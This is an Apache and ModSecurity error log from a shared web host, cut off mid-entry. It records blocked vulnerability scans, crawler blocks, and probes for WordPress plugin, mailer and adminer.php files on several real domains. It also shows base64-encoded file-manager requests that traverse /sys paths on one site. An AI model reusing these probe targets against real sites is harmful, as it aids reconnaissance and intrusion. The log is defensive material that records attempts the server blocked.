https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:14:16.081154 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.26:38726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:16.081419 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.26:38726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:16.182528 2026] [access_compat:error] [pid 531155:tid 531240] [remote 57.141.14.95:53417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:16.182973 2026] [access_compat:error] [pid 531155:tid 531240] [remote 57.141.14.95:53417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:16.269550 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.2:25877] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:16.269826 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.2:25877] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:16.291706 2026] [security2:error] [pid 531155:tid 531279] [remote 17.241.219.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWCmiP80klyS0NnodQgABhns"] [Sat Jun 13 18:14:16.371604 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.56:56892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:16.372084 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.56:56892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:16.431859 2026] [security2:error] [pid 531155:tid 531221] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-content/plugins/sendgrid-email-delivery-simplified/sendgrid.php"] [unique_id "ai3yWCmiP80klyS0NnodSgABW0E"] [Sat Jun 13 18:14:16.481860 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.107:60463] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:16.482306 2026] [access_compat:error] [pid 531155:tid 531158] [remote 57.141.14.107:60463] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:16.538580 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:16.538873 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:16.563131 2026] [security2:error] [pid 531155:tid 531176] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "bradgoreski.co"] [uri "/wp-content/plugins/sendgrid-email-delivery-simplified/readme.txt"] [unique_id "ai3yWCmiP80klyS0NnodUAABDxQ"] [Sat Jun 13 18:14:16.719508 2026] [access_compat:error] [pid 531155:tid 531164] [remote 185.177.72.9:29702] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/woocommerce.php [Sat Jun 13 18:14:16.720112 2026] [access_compat:error] [pid 531155:tid 531164] [remote 185.177.72.9:29702] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/uninstall.php [Sat Jun 13 18:14:17.051921 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6bnVtbG9jay9kZXZpY2U= [Sat Jun 13 18:14:17.052356 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6bnVtbG9jay9kZXZpY2U= [Sat Jun 13 18:14:17.103980 2026] [security2:error] [pid 531155:tid 531186] [remote 17.22.253.218:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 218.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWSmiP80klyS0NnodbwABKx4"] [Sat Jun 13 18:14:17.176682 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.45:46302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:17.176961 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.45:46302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:17.186313 2026] [proxy:error] [pid 531155:tid 531374] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:14:17.186400 2026] [proxy_http:error] [pid 531155:tid 531374] [client 87.236.176.36:39187] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:14:17.187283 2026] [proxy:error] [pid 531155:tid 531374] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:14:17.187340 2026] [proxy_http:error] [pid 531155:tid 531374] [client 87.236.176.36:39187] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:14:17.347844 2026] [security2:error] [pid 531155:tid 531159] [remote 17.241.75.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWSmiP80klyS0NnodfQABdQM"] [Sat Jun 13 18:14:17.421787 2026] [security2:error] [pid 531155:tid 531175] [remote 17.246.23.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWSmiP80klyS0NnodgQABLhM"] [Sat Jun 13 18:14:17.545935 2026] [access_compat:error] [pid 531155:tid 531234] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:17.546209 2026] [access_compat:error] [pid 531155:tid 531234] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:17.585931 2026] [security2:error] [pid 531155:tid 531160] [remote 47.128.123.125:49174] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.buy-ketotifen.com"] [uri "/category/blog/"] [unique_id "ai3yWSmiP80klyS0NnodiwABDQQ"] [Sat Jun 13 18:14:17.614066 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:14:17.614524 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:14:17.706453 2026] [security2:error] [pid 531155:tid 531173] [remote 111.225.148.152:13908] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "smartsafetycenter.com"] [uri "/"] [unique_id "ai3yWSmiP80klyS0NnodlgABPRE"] [Sat Jun 13 18:14:17.707248 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.78:51514] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:17.707685 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.78:51514] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:17.862820 2026] [security2:error] [pid 531155:tid 531179] [remote 17.246.23.210:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 210.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWSmiP80klyS0NnodmwABKhc"] [Sat Jun 13 18:14:17.960169 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.74:43202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:17.960463 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.74:43202] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:18.013933 2026] [security2:error] [pid 531155:tid 531270] [remote 216.73.216.182:42797] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3yWimiP80klyS0NnodogABHnI"], referer: https://homs.co.ke/?action=adminer&p=Ly9saWI2NC9ndGstMi4wL21vZHVsZXM%3D [Sat Jun 13 18:14:18.122881 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:14:18.123143 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:14:18.300888 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.55:40005] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:18.301264 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.55:40005] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:18.384718 2026] [security2:error] [pid 531155:tid 531225] [remote 57.141.14.32:25477] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yWimiP80klyS0NnodtAABSUU"], referer: https://nelsonfarmstn.com/product/beeswax-lip-balm/?add_to_wishlist=398&_wpnonce=dacad5c21f&add-to-cart=378 [Sat Jun 13 18:14:18.420571 2026] [security2:error] [pid 531155:tid 531185] [remote 208.109.188.137:49362] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3yWimiP80klyS0NnoduAABhR0"] [Sat Jun 13 18:14:18.456051 2026] [access_compat:error] [pid 531155:tid 531238] [remote 57.141.14.59:47205] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:18.456331 2026] [access_compat:error] [pid 531155:tid 531238] [remote 57.141.14.59:47205] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:18.493013 2026] [security2:error] [pid 531155:tid 531274] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/wp-content/mu-plugins/sendgrid.php"] [unique_id "ai3yWimiP80klyS0NnodvwABM3Y"] [Sat Jun 13 18:14:18.609711 2026] [access_compat:error] [pid 531155:tid 531248] [remote 57.141.14.82:45420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:18.609988 2026] [access_compat:error] [pid 531155:tid 531248] [remote 57.141.14.82:45420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:18.625079 2026] [security2:error] [pid 531155:tid 531163] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/Mail/WelcomeMail.php"] [unique_id "ai3yWimiP80klyS0NnodxgABfwc"] [Sat Jun 13 18:14:18.632732 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:14:18.633017 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:14:18.666865 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.68:55376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:18.667151 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.68:55376] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:18.756878 2026] [security2:error] [pid 531155:tid 531247] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/Mail/ResetPasswordMail.php"] [unique_id "ai3yWimiP80klyS0NnodzgABLls"] [Sat Jun 13 18:14:18.860565 2026] [security2:error] [pid 531155:tid 531158] [remote 17.246.19.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yWimiP80klyS0Nnod0QABUgI"] [Sat Jun 13 18:14:18.889055 2026] [security2:error] [pid 531155:tid 531233] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/Mail/InvoiceMail.php"] [unique_id "ai3yWimiP80klyS0Nnod0wABR00"] [Sat Jun 13 18:14:19.093626 2026] [security2:error] [pid 531155:tid 531230] [remote 17.22.245.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: 